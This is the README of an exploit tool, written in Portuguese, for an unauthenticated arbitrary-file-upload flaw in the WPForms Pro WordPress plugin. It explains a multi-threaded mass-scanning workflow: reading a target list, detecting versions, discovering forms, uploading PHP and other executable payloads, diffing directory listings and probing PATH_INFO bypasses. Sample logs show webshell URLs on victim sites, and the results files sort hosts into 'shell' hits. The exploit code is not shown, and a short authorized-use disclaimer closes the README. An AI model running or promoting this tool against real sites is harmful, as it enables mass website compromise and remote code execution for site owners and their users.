
WPForms Pro <= 1.10.1.1 - Escrita Arbitrária de Arquivos Não Autenticada via Ordenação Init/Finalize de Upload em Partes
WPForms Pro <= 1.10.1.1 — Escrita Arbitrária de Arquivos Não Autenticada via Ordenação Init/Finalize de Upload em Chunks
Exploit de Prova de Conceito
Ordenação Init/Finalize de Upload em Chunks → Exposição de Caminho Previsível → Execução Remota de Código
| Campo | Detalhe |
|---|---|
| ID CVE | CVE-2026-10818 |
| Plugin Afetado | WPForms Pro (WordPress) |
| Versões Afetadas | Todas as versões até 1.10.1.1 inclusive |
| Tipo | Escrita Arbitrária de Arquivos Não Autenticada |
| CWE | CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso |
| CVSS 3.1 | 8.1 ALTO — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | Nenhuma necessária |
O plugin WPForms Pro para WordPress é vulnerável a Upload Arbitrário de Arquivos em todas as versões até, e incluindo, 1.10.1.1, por meio da função ajax_chunk_upload_finalize. Isso ocorre porque a validação do tipo de arquivo acontece depois de os metadados do chunk e o conteúdo do arquivo já terem sido gravados em disco, e o arquivo montado não é excluído quando a validação falha. Isso possibilita que atacantes não autenticados carreguem arquivos que podem ser executáveis, o que viabiliza a execução remota de código.
wpforms_upload_chunk_init → Metadata created BEFORE extension validation
wpforms_upload_chunk → Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded → File assembled BEFORE type validation
→ File persists on disk even when validation fails
A cadeia de vulnerabilidade explora uma falha crítica de ordenação no ciclo de vida do upload em chunks:
SHA1(UUID)-0.chunk)wp_ajax_nopriv_*)readme.txt e o código-fonte HTML para identificar versões vulneráveis do WPFormswpforms_upload_chunk_init está acessível externamente antes de prosseguirSHA1(UUID)SHA1(UUID controlado pelo cliente) para derivar o URL exato do chunk sem adivinhação/wpforms/tmp/ antes e depois dos uploads de execução para identificar arquivos recém-gravados<32hex>.<ext>.chunk/x.php, /.php) para acionar a execução de PHP em extensões não-PHPPython >= 3.8
pip install requests urllib3 beautifulsoup4
beautifulsoup4é opcional, mas recomendado para uma extração mais confiável dos campos de formulário.
python CVE-2026-10818.py
Você será solicitado a fornecer:
| Prompt | Descrição | Padrão |
|---|---|---|
| Arquivo de alvos | Caminho para um arquivo de texto contendo um alvo por linha | list.txt |
| Threads | Número de workers concorrentes (1–20) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Um URL por linha. Suporta http://, https://, domínios sem protocolo, IPs e instalações em subdiretórios.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ┃
┃ ██▄ ██ ██ ██ ┃
┃ ████ ██ ████ ┃
┃ ██ ██ ██ ██ ┃
┃ ██ ████ ████ ┃
┃ ██ ███ ██ ██ ┃
┃ ┃
┃ Nxploited ━ Khaled Alenazi ━ T.m @Kxploit ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 ┃
┃ Chunked Upload → Predictable Path → RCE ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
Durante a varredura, cada alvo avança por etapas rotuladas:
02:14:52 ◆ target.com VER WPForms 1.9.3.1 vulnerable
02:14:53 ◆ target.com FORM 1 upload form(s) on /contact
02:14:53 ◆ target.com UPLOAD 6 safe + 5 exec payloads
02:14:55 ◆ target.com FIN poly_png → a8f3...1b22.png URL returned
02:14:57 ◆ target.com DIR listing enabled, 4 file(s) before exec upload
02:14:59 ◐ target.com EXEC shell_php → finalized on disk (hash unknown)
02:15:01 ◆ target.com DIR 1 NEW exec file(s) after upload!
● target.com SHELL dir-new:7c4f...e8a1.php https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php
Todos os resultados são salvos em Nx_hit/:
| Arquivo | Conteúdo |
|---|---|
Nx_shell.txt | RCE confirmada — URL, rótulo e prévia do corpo da resposta |
Nx_vuln.txt | Escrita arbitrária de arquivos confirmada sem verificação de execução |
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ COMPLETE 150 targets processed ┃
┃ ┃
┃ ● 3 shell ◐ 12 vuln ○ 85 skip ✗ 50 miss ┃
┃ ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
| Símbolo | Significado |
|---|---|
● shell | Execução de PHP confirmada no alvo remoto |
◐ vuln | Arquivo gravado em disco, execução não confirmada |
○ skip | Alvo inacessível, corrigido ou nenhum formulário de upload encontrado |
✗ miss | Tentativas de upload falharam |
Target
│
├─ Reachability (HTTPS → HTTP fallback)
├─ WPForms Version Detection
├─ Form Discovery (100+ page paths + sitemap crawl)
├─ AJAX Route Validation
│
├─ Phase 1: Safe Uploads (png/jpg/pdf + finalize → URL)
│ └─ Shell verification on returned URLs
│
├─ Phase 2: Directory Snapshot (BEFORE)
│
├─ Phase 3: Exec Uploads (php/phtml/php5/phar/shtml + finalize)
│ ├─ Leaked filename extraction from response
│ └─ Hash pattern extraction from body + headers
│
├─ Phase 4: Directory Snapshot (AFTER) → Diff → New exec files
│ └─ Shell verification on each new file
│
├─ Phase 5: Hash Leak Verification
│ └─ Build URLs from leaked hashes → Shell check
│
├─ Phase 6: Chunk-Only Uploads (no finalize → predictable SHA1 path)
│ └─ Direct access + PATH_INFO bypass probing
│
└─ Result Classification (shell / vuln / skip / miss)
Esta ferramenta é fornecida estritamente para testes de segurança autorizados e fins educacionais de pesquisa. Use-a apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.
O acesso não autorizado a sistemas de computadores é ilegal. O autor não assume nenhuma responsabilidade por uso indevido, danos ou quaisquer consequências legais decorrentes do uso deste software.
Ao usar esta ferramenta, você concorda que é o único responsável por suas ações e que cumprirá todas as leis e regulamentos aplicáveis.
Por: Nxploited
Khaled Alenazi
T.m @Kxploit